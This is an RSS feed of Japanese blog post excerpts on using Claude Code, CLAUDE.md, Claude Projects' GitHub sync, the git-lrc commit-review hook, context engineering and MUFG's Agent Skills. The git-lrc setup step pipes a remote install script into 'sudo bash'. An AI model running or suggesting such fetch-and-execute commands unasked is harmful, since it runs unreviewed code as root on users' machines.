&lt;p&gt;&lt;strong&gt;やり方:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Shift+Tab を2回押して Plan Mode に入る&lt;/li&gt;
&lt;li&gt;Claude の計画が納得できるまでやり取りを繰り返す&lt;/li&gt;
&lt;li&gt;計画が固まったら Auto-Accept モードに切り替えて一気に実装&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;実行中に問題が起きたら:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;すぐに Plan Mode に戻って再計画する&lt;/li&gt;
&lt;li&gt;Plan Mode は「最初の設計」だけでなく「リカバリー」にも使う&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-サブエージェント戦略"&gt;2. サブエージェント戦略&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;「リサーチ、探索、並列分析はサブエージェントに委譲せよ」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;メインのコンテキストウィンドウは有限のリソース。調査や分析をメインエージェントにやらせると、コンテキストが汚れて本来のタスクの品質が下がる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;サブエージェントに委譲すべきタスク:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コードベースの調査・探索&lt;/li&gt;
&lt;li&gt;複数ファイルの並列分析&lt;/li&gt;
&lt;li&gt;計算集約的な処理&lt;/li&gt;
&lt;li&gt;独立した検証作業&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;メインエージェントに残すべきタスク:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最終的な設計判断&lt;/li&gt;
&lt;li&gt;コードの実装&lt;/li&gt;
&lt;li&gt;統合・結合&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="初心者向け解説-サブエージェントtaskとは何か"&gt;初心者向け解説: 「サブエージェント（Task）」とは何か&lt;/h4&gt;
&lt;p&gt;「サブエージェント」と聞くと難しそうだが、仕組みはシンプル。&lt;strong&gt;Claude Code が内部的に「別の Claude」を立ち上げて、作業を分担する機能&lt;/strong&gt;のこと。Claude Code ではこれを &lt;strong&gt;Task&lt;/strong&gt; と呼ぶ。&lt;/p&gt;</description></item><item><title># Claude Code 開発者が教える CLAUDE.md と実践 Tips</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-code-%E9%96%8B%E7%99%BA%E8%80%85%E3%81%8C%E6%95%99%E3%81%88%E3%82%8B-claude.md-%E3%81%A8%E5%AE%9F%E8%B7%B5-tips/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-code-%E9%96%8B%E7%99%BA%E8%80%85%E3%81%8C%E6%95%99%E3%81%88%E3%82%8B-claude.md-%E3%81%A8%E5%AE%9F%E8%B7%B5-tips/</guid><description>&lt;h1 id="claude-code-開発者が教える-claudemd-と実践-tips"&gt;Claude Code 開発者が教える CLAUDE.md と実践 Tips&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;元スレッド（個人セットアップ編）: &lt;a href="https://x.com/bcherny/status/2007179832300581177"&gt;Boris Cherny @bcherny&lt;/a&gt;（53K いいね、780万ビュー）
元スレッド（チーム Tips 編）: &lt;a href="https://x.com/bcherny/status/2017742741636321619"&gt;Boris Cherny @bcherny&lt;/a&gt;（49K いいね、850万ビュー）
紹介ポスト: &lt;a href="https://x.com/SuguruKun_ai/status/2026313971868045726"&gt;すぐる @sugurukun_ai&lt;/a&gt;
設定再現リポジトリ: &lt;a href="https://github.com/0xquinto/bcherny-claude"&gt;0xquinto/bcherny-claude&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;Claude Code の開発者である Boris Cherny 氏が、自身のセットアップと Claude Code チーム全体の使い方を X で公開し、合計 10 万いいね以上を獲得して大きな話題になった。&lt;/p&gt;
&lt;p&gt;この記事では、2つのスレッドの内容を統合して「CLAUDE.md の育て方」と「Claude Code を最大限活用する 10 の Tips」をまとめる。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="claudemd-とは"&gt;CLAUDE.md とは&lt;/h2&gt;
&lt;p&gt;CLAUDE.md は、Claude Code がセッション開始時に自動的に読み込む&lt;strong&gt;プロジェクトの指示書&lt;/strong&gt;。新入社員に渡すオンボーディングドキュメントのようなもので、以下を記述する:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;プロジェクトの技術スタック・アーキテクチャ&lt;/li&gt;
&lt;li&gt;コーディング規約・命名ルール&lt;/li&gt;
&lt;li&gt;よく使うコマンド&lt;/li&gt;
&lt;li&gt;過去に Claude が犯した間違いと対策&lt;/li&gt;
&lt;li&gt;やってはいけないこと&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="配置場所"&gt;配置場所&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ファイル&lt;/th&gt;
&lt;th&gt;スコープ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;全プロジェクト共通（個人設定）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;プロジェクトルート/CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;そのプロジェクト限定（チーム共有・Git 管理）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="boris-cherny-のセットアップスレッド1"&gt;Boris Cherny のセットアップ（スレッド1）&lt;/h2&gt;
&lt;h3 id="1-並列セッション"&gt;1. 並列セッション&lt;/h3&gt;
&lt;p&gt;Boris は&lt;strong&gt;ターミナルで 5 つの Claude を同時に並列実行&lt;/strong&gt;している。さらに claude.ai/code 上でも 5〜10 個を並行稼働させ、システム通知で完了を監視する。&lt;/p&gt;</description></item><item><title># Claude Projects × GitHub 同期 — AI のメモリより精度が高いナレッジ管理</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-projects-github-%E5%90%8C%E6%9C%9F-ai-%E3%81%AE%E3%83%A1%E3%83%A2%E3%83%AA%E3%82%88%E3%82%8A%E7%B2%BE%E5%BA%A6%E3%81%8C%E9%AB%98%E3%81%84%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E7%AE%A1%E7%90%86/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-projects-github-%E5%90%8C%E6%9C%9F-ai-%E3%81%AE%E3%83%A1%E3%83%A2%E3%83%AA%E3%82%88%E3%82%8A%E7%B2%BE%E5%BA%A6%E3%81%8C%E9%AB%98%E3%81%84%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E7%AE%A1%E7%90%86/</guid><description>&lt;h1 id="claude-projects--github-同期--ai-のメモリより精度が高いナレッジ管理"&gt;Claude Projects × GitHub 同期 — AI のメモリより精度が高いナレッジ管理&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;紹介ポスト: &lt;a href="https://x.com/yriica/status/2025403345805213999"&gt;yriica&lt;/a&gt;
「ClaudeのProjects内のFilesにGitHubリポジトリを同期できることが判明。GitHubリポジトリに日報含めいろんなデータをプッシュしておいたことで、その内容をふまえた上でClaudeでチャットができるようになった。AIのメモリ機能よりもこちらのほうが回答精度が高い。」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;Claude.ai（ブラウザ版）の Projects 機能に、&lt;strong&gt;GitHub リポジトリのファイルを直接同期できる機能&lt;/strong&gt;がある。日報、議事録、設計メモなど、普段の業務で Git に蓄積していたドキュメントが、そのまま Claude の高精度なコンテキストとして機能する。&lt;/p&gt;
&lt;p&gt;これは「AI のために特別なことをした」のではなく、&lt;strong&gt;普段の業務として Git にドキュメントを蓄積していたものが、AI 活用で大きなアドバンテージになった&lt;/strong&gt;という事例。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="claude-projects-の-github-連携とは"&gt;Claude Projects の GitHub 連携とは&lt;/h2&gt;
&lt;h3 id="基本機能"&gt;基本機能&lt;/h3&gt;
&lt;p&gt;Claude.ai の Projects には「プロジェクトナレッジ」としてファイルを追加できる。ここに GitHub リポジトリを接続すると:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;リポジトリ内の&lt;strong&gt;ファイル名と内容&lt;/strong&gt;が Claude に読み込まれる&lt;/li&gt;
&lt;li&gt;「Sync now」ボタンで&lt;strong&gt;最新のコミット内容に更新&lt;/strong&gt;できる&lt;/li&gt;
&lt;li&gt;複数リポジトリを1つのプロジェクトに追加可能&lt;/li&gt;
&lt;li&gt;プライベートリポジトリにも対応（GitHub App 経由で権限付与）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="設定方法"&gt;設定方法&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;チャット内から追加する場合:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;左下の「+」ボタンをクリック&lt;/li&gt;
&lt;li&gt;ドロップダウンから「Add from GitHub」を選択&lt;/li&gt;
&lt;li&gt;ファイルブラウザで特定のファイルやフォルダを選択&lt;/li&gt;
&lt;li&gt;メッセージ送信時に Claude がコンテンツを処理&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;プロジェクトナレッジとして追加する場合:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;プロジェクト知識セクションの右上「+」をクリック&lt;/li&gt;
&lt;li&gt;「GitHub」を選択&lt;/li&gt;
&lt;li&gt;リポジトリを検索、または URL を貼り付け&lt;/li&gt;
&lt;li&gt;ファイルブラウザで対象を指定&lt;/li&gt;
&lt;li&gt;プロジェクトナレッジに追加&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="同期の仕組み"&gt;同期の仕組み&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;特定ブランチのファイル名とコンテンツのみが同期される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コミット履歴、PR、Issue などのメタデータは取得されない&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;「Sync now」ボタンで手動更新（自動同期ではない）&lt;/li&gt;
&lt;li&gt;大きな変更がある前に同期を実施するのがベストプラクティス&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="制限事項"&gt;制限事項&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;複数リポジトリ追加時は Claude のコンテキストウィンドウに収まる必要がある&lt;/li&gt;
&lt;li&gt;現在ベータ版&lt;/li&gt;
&lt;li&gt;トークン制限を考慮した戦略的なファイル選択が重要&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="なぜメモリ機能より精度が高いのか"&gt;なぜ「メモリ機能より精度が高い」のか&lt;/h2&gt;
&lt;p&gt;Claude にはチャットの中から情報を学習する「メモリ」機能があるが、GitHub 同期とは根本的に性質が異なる。&lt;/p&gt;</description></item><item><title># git-lrc — コミット時に AI が無料でコードレビューしてくれるツール</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-git-lrc-%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E6%99%82%E3%81%AB-ai-%E3%81%8C%E7%84%A1%E6%96%99%E3%81%A7%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%97%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8B%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-git-lrc-%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E6%99%82%E3%81%AB-ai-%E3%81%8C%E7%84%A1%E6%96%99%E3%81%A7%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%97%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8B%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>&lt;h1 id="git-lrc--コミット時に-ai-が無料でコードレビューしてくれるツール"&gt;git-lrc — コミット時に AI が無料でコードレビューしてくれるツール&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;リポジトリ: &lt;a href="https://github.com/HexmosTech/git-lrc"&gt;HexmosTech/git-lrc&lt;/a&gt;
紹介ポスト: &lt;a href="https://x.com/commte/status/2026240523821007337"&gt;commte&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="これは何か"&gt;これは何か&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;git-lrc&lt;/code&gt; は、&lt;strong&gt;&lt;code&gt;git commit&lt;/code&gt; のタイミングで自動的に AI コードレビューが走るツール&lt;/strong&gt;。Git フックとして動作し、コミット前の差分を AI（Google Gemini）に分析させ、バグやセキュリティ問題をブラウザ上の UI でインラインコメントとして表示してくれる。&lt;/p&gt;
&lt;p&gt;しかも &lt;strong&gt;Gemini の無料枠を使うので完全無料&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="なぜこれが作られたのか"&gt;なぜこれが作られたのか&lt;/h2&gt;
&lt;h3 id="ai-エージェント時代の新しい問題"&gt;AI エージェント時代の新しい問題&lt;/h3&gt;
&lt;p&gt;Claude Code や Cursor などの AI コーディングエージェントは、コードを高速に生成する。しかし同時に、&lt;strong&gt;黙ってロジックを削除したり、挙動を変えたり、バグを混入させる&lt;/strong&gt;こともある — しかもユーザーに何も言わずに。&lt;/p&gt;
&lt;p&gt;問題に気づくのは、たいてい本番環境にデプロイした後。&lt;/p&gt;
&lt;h3 id="既存のコードレビューの限界"&gt;既存のコードレビューの限界&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PR レビュー&lt;/strong&gt;: チームメンバーの時間を消費する。AI 生成コードの量が増えるとレビューが追いつかない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手動チェック&lt;/strong&gt;: 大量の差分を毎回目視確認するのは非現実的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CD のテスト&lt;/strong&gt;: テストがカバーしていない箇所の論理変更は検出できない&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="git-lrc-のアプローチ"&gt;git-lrc のアプローチ&lt;/h3&gt;
&lt;p&gt;「コミット」という&lt;strong&gt;全開発者が必ず通るポイント&lt;/strong&gt;にフックすることで、レビュー漏れをほぼゼロにする。エディタや AI ツールキットが何であっても、Git は共通基盤。コミットは必須操作なので、&lt;strong&gt;スタックに関係なくレビューが走る&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="どう動くのか"&gt;どう動くのか&lt;/h2&gt;
&lt;h3 id="セットアップ約1分1回だけ"&gt;セットアップ（約1分、1回だけ）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# インストール（Mac / Linux）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -fsSL https://hexmos.com/lrc-install.sh | sudo bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 初期設定（ブラウザで API キーを取得）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git lrc setup
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;必要なのは2つ:&lt;/p&gt;</description></item><item><title># コンテキストエンジニアリング — AI を「使う人」と「使いこなす人」の違い</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0-ai-%E3%82%92%E4%BD%BF%E3%81%86%E4%BA%BA%E3%81%A8%E4%BD%BF%E3%81%84%E3%81%93%E3%81%AA%E3%81%99%E4%BA%BA%E3%81%AE%E9%81%95%E3%81%84/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0-ai-%E3%82%92%E4%BD%BF%E3%81%86%E4%BA%BA%E3%81%A8%E4%BD%BF%E3%81%84%E3%81%93%E3%81%AA%E3%81%99%E4%BA%BA%E3%81%AE%E9%81%95%E3%81%84/</guid><description>&lt;h1 id="コンテキストエンジニアリング--ai-を使う人と使いこなす人の違い"&gt;コンテキストエンジニアリング — AI を「使う人」と「使いこなす人」の違い&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;紹介ポスト: &lt;a href="https://x.com/7_eito_7/status/2025953809030406420"&gt;えいと @7_eito_7&lt;/a&gt;
「AIを使っている人と、本当にAIを使いこなしている人の違いは何か。結論はコンテキストエンジニアリングができるかどうか。簡単に言えば、指示の出し方ではなく&lt;strong&gt;どんな文脈を渡しているか&lt;/strong&gt;。」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;2025年半ば、Shopify CEO の Tobi Lütke が次のように発言した:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;「&amp;ldquo;プロンプトエンジニアリング&amp;quot;より&amp;quot;コンテキストエンジニアリング&amp;quot;という言葉の方がずっと好きだ。LLM がタスクを解決できるだけの十分な文脈を与える技術 — これこそが核心的スキルだ。」&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;AI 研究者の Andrej Karpathy もこれに同意し、「コンテキストエンジニアリング」という概念は一気に広まった。2026年現在、プロンプトエンジニアリングの時代は終わり、&lt;strong&gt;コンテキストエンジニアリングが AI 活用の新しい標準&lt;/strong&gt;になりつつある。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="プロンプトエンジニアリング-vs-コンテキストエンジニアリング"&gt;プロンプトエンジニアリング vs コンテキストエンジニアリング&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;プロンプトエンジニアリング&lt;/th&gt;
&lt;th&gt;コンテキストエンジニアリング&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;スコープ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1つの入力テキストの書き方&lt;/td&gt;
&lt;td&gt;モデルが見る情報の全体設計&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;焦点&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;指示の言い回し・構造&lt;/td&gt;
&lt;td&gt;情報の選択・順序・形式・量&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;対象&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;単発の質疑応答&lt;/td&gt;
&lt;td&gt;複雑な推論、マルチターン、エージェント&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;複雑さ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;文章レベル&lt;/td&gt;
&lt;td&gt;システムレベルのパイプライン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;例え&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;「質問の仕方を工夫する」&lt;/td&gt;
&lt;td&gt;「解答に必要な教科書・資料・道具を揃える」&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;プロンプトエンジニアリングは&lt;strong&gt;コンテキストエンジニアリングの一部&lt;/strong&gt;にすぎない。質問の質ではなく、&lt;strong&gt;AI に渡す情報の質と構造&lt;/strong&gt;が結果を決める。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="なぜプロンプトだけでは不十分なのか"&gt;なぜプロンプトだけでは不十分なのか&lt;/h2&gt;
&lt;p&gt;よくある問題: RAG で正確な情報を取得し、プロンプトも丁寧に書いた。&lt;strong&gt;それでも AI がハルシネーションを起こす&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;原因はプロンプトでも検索でもなく、&lt;strong&gt;コンテキストの構造&lt;/strong&gt;にある。&lt;/p&gt;
&lt;h3 id="プロンプトの-3-つの限界"&gt;プロンプトの 3 つの限界&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;情報不足&lt;/strong&gt;: 質問は完璧でも、判断に必要な背景情報が足りない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;情報過多&lt;/strong&gt;: 関連情報を全部詰め込むと、かえって精度が落ちる（ノイズに埋もれる）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;情報の無秩序&lt;/strong&gt;: 重要な情報とそうでない情報が区別なく並んでいる&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;コンテキストエンジニアリングは、この 3 つを体系的に解決する。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="コンテキストエンジニアリングの-4-つの柱"&gt;コンテキストエンジニアリングの 4 つの柱&lt;/h2&gt;
&lt;h3 id="1-構成composition-何を渡すか"&gt;1. 構成（Composition）— 何を渡すか&lt;/h3&gt;
&lt;p&gt;タスクに必要な「材料」を選択する:&lt;/p&gt;</description></item><item><title># 三菱UFJ銀行におけるエンタープライズAI駆動開発のリアル</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-%E4%B8%89%E8%8F%B1ufj%E9%8A%80%E8%A1%8C%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8B%E3%82%A8%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%97%E3%83%A9%E3%82%A4%E3%82%BAai%E9%A7%86%E5%8B%95%E9%96%8B%E7%99%BA%E3%81%AE%E3%83%AA%E3%82%A2%E3%83%AB/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-%E4%B8%89%E8%8F%B1ufj%E9%8A%80%E8%A1%8C%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8B%E3%82%A8%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%97%E3%83%A9%E3%82%A4%E3%82%BAai%E9%A7%86%E5%8B%95%E9%96%8B%E7%99%BA%E3%81%AE%E3%83%AA%E3%82%A2%E3%83%AB/</guid><description>&lt;h1 id="三菱ufj銀行におけるエンタープライズai駆動開発のリアル"&gt;三菱UFJ銀行におけるエンタープライズAI駆動開発のリアル&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;三菱UFJインフォメーションテクノロジー（MUIT）R&amp;amp;D部 尾根田倫太郎氏の講演まとめ
出典: &lt;a href="https://speakerdeck.com/muit/enterprise-ai-driven-development-at-mufg-bank-the-real-story"&gt;SpeakerDeck&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="エンタープライズai駆動開発とは"&gt;エンタープライズAI駆動開発とは&lt;/h2&gt;
&lt;p&gt;AI駆動開発とは、&lt;strong&gt;AIコーディングエージェントを前提とした開発方式&lt;/strong&gt;のこと。従来の人海戦術的な開発と異なり、自然言語での指示により複数のソースコードが短時間で自動生成される。&lt;/p&gt;
&lt;p&gt;三菱UFJ銀行（MUFG）では、この手法を金融システムの内製開発に適用する取り組みを進めている。&lt;/p&gt;
&lt;h2 id="エンタープライズ特有の条件"&gt;エンタープライズ特有の条件&lt;/h2&gt;
&lt;p&gt;一般的なAI駆動開発と異なり、銀行システムには以下の制約がある。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数十万〜数百万行規模&lt;/strong&gt;のシステム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数十〜数百人規模&lt;/strong&gt;のチーム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Excel方眼紙&lt;/strong&gt;での設計書作成が標準&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インターネット非接続環境&lt;/strong&gt;での開発&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;主要ツールとして &lt;strong&gt;Cline&lt;/strong&gt; または &lt;strong&gt;Claude Code&lt;/strong&gt; を採用している。&lt;/p&gt;
&lt;h2 id="agent-skills--aiへの教科書"&gt;Agent Skills — AIへの「教科書」&lt;/h2&gt;
&lt;p&gt;Agent Skills は、AIコーディングエージェントに教科書として機能するマークダウンファイルとして定義されている。2025年12月に Agentic AI Foundation により標準規格化された。&lt;/p&gt;
&lt;p&gt;従来は「人への教育」が中心だったが、今後は&lt;strong&gt;AIエージェントへの教育&lt;/strong&gt;へシフトするという発想の転換が示された。&lt;/p&gt;
&lt;h3 id="agent-skills-とは何か"&gt;Agent Skills とは何か&lt;/h3&gt;
&lt;p&gt;Agent Skills は、&lt;strong&gt;AIエージェントに新しい能力や専門知識を与えるための、フォルダ単位でパッケージ化された手順書・スクリプト・リソースの集合体&lt;/strong&gt;である。エージェントが必要に応じてスキルを発見・読み込み、タスクをより正確かつ効率的にこなせるようにする仕組み。&lt;/p&gt;
&lt;p&gt;公式サイト: &lt;a href="https://agentskills.io/home"&gt;agentskills.io&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="なぜ-agent-skills-が必要か"&gt;なぜ Agent Skills が必要か&lt;/h3&gt;
&lt;p&gt;AIエージェントは汎用的な能力は高いが、&lt;strong&gt;特定の企業・チーム・ドメイン固有のコンテキスト&lt;/strong&gt;を持っていない。Agent Skills はこのギャップを埋める。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;対象&lt;/th&gt;
&lt;th&gt;メリット&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;スキル作成者&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;一度作れば複数のエージェント製品で横断的に利用可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;エージェント開発者&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Skills 対応するだけでエンドユーザーが機能拡張できる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;企業・チーム&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;組織の知識をバージョン管理可能なパッケージとして蓄積&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="skillmd-の基本構造"&gt;SKILL.md の基本構造&lt;/h3&gt;
&lt;p&gt;Agent Skills の実体は、&lt;code&gt;SKILL.md&lt;/code&gt; というマークダウンファイルを含むフォルダ。YAMLフロントマターでメタデータを定義し、本文に手順を記述する。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;skill-name/
├── SKILL.md # 必須: メタデータ + 手順
├── scripts/ # 任意: 実行可能スクリプト
├── references/ # 任意: 補足ドキュメント
